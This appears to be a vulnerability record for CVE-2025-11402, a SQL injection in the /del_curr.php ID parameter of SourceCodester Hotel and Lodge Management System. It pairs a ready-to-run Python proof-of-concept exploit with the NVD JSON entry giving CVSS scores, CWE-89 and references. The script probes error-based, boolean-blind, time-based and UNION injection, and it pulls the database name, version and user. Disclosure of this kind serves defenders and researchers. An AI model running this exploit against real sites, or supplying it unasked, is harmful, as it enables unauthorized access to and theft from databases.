CVE-2025-11402

# CVE-2025-11402 - SourceCodester Hotel and Lodge Management System SQL Injection PoC # Vulnerability Location: /del_curr.php # Vulnerable Parameter: ID import requests # Target configuration TARGET_URL = "http://target-site.com" VULNERABLE_ENDPOINT = "/del_curr.php" # Step 1: Basic SQL Injection test - Error-based detection def test_error_based(target_url): """Test for error-based SQL injection""" payload = "1'" url = f"{target_url}{VULNERABLE_ENDPOINT}?id={payload}" response = requests.get(url) if "error" in response.text.lower() or "syntax" in response.text.lower(): print(f"[+] Error-based SQL Injection detected at: {url}") return True return False # Step 2: Boolean-based blind SQL Injection def boolean_blind_injection(target_url): """Exploit boolean-based blind SQL injection to extract data""" # True condition true_payload = "1' AND '1'='1" true_response = requests.get(f"{target_url}{VULNERABLE_ENDPOINT}?id={true_payload}") # False condition false_payload = "1' AND '1'='2" false_response = requests.get(f"{target_url}{VULNERABLE_ENDPOINT}?id={false_payload}") if true_response.text != false_response.text: print("[+] Boolean-based blind SQL Injection confirmed") return True return False # Step 3: Time-based blind SQL Injection def time_based_injection(target_url): """Exploit time-based blind SQL injection""" import time payload = "1' AND SLEEP(5)-- -" start_time = time.time() requests.get(f"{target_url}{VULNERABLE_ENDPOINT}?id={payload}") elapsed_time = time.time() - start_time if elapsed_time >= 5: print("[+] Time-based blind SQL Injection confirmed") return True return False # Step 4: UNION-based SQL Injection to extract data def union_injection(target_url): """Extract database information using UNION injection""" # Determine number of columns first for i in range(1, 10): columns = ",".join([str(x) for x in range(1, i+1)]) payload = f"-1' UNION SELECT {columns}-- -" url = f"{target_url}{VULNERABLE_ENDPOINT}?id={payload}" response = requests.get(url) if response.status_code == 200 and "error" not in response.text.lower(): print(f"[+] UNION injection works with {i} columns") # Extract database version and current user info_payload = f"-1' UNION SELECT database(),version(),user()-- -" info_response = requests.get(f"{target_url}{VULNERABLE_ENDPOINT}?id={info_payload}") print(f"[+] Database info: {info_response.text}") return True return False # Main execution if __name__ == "__main__": print(f"[*] Testing CVE-2025-11402 against {TARGET_URL}") test_error_based(TARGET_URL) boolean_blind_injection(TARGET_URL) time_based_injection(TARGET_URL) union_injection(TARGET_URL)

{"cve": {"id": "CVE-2025-11402", "sourceIdentifier": "[email protected]", "published": "2025-10-07T18:15:58.310", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been found in SourceCodester Hotel and Lodge Management System 1.0. Affected by this vulnerability is an unknown functionality of the file /del_curr.php. Such manipulation of the argument ID leads to sql injection. The attack may be performed from remote. The exploit has been disclosed to the public and may be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nikhil-bhalerao:hotel_and_lodge_management_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "01868A61-18A4-4C5D-B260-54D49603028E"}]}]}], "references": [{"url": "https://github.com/TThuyyy/cve1/issues/10", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.327339", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.327339", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.665098", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://www.sourcecodester.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/TThuyyy/cve1/issues/10", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}]}}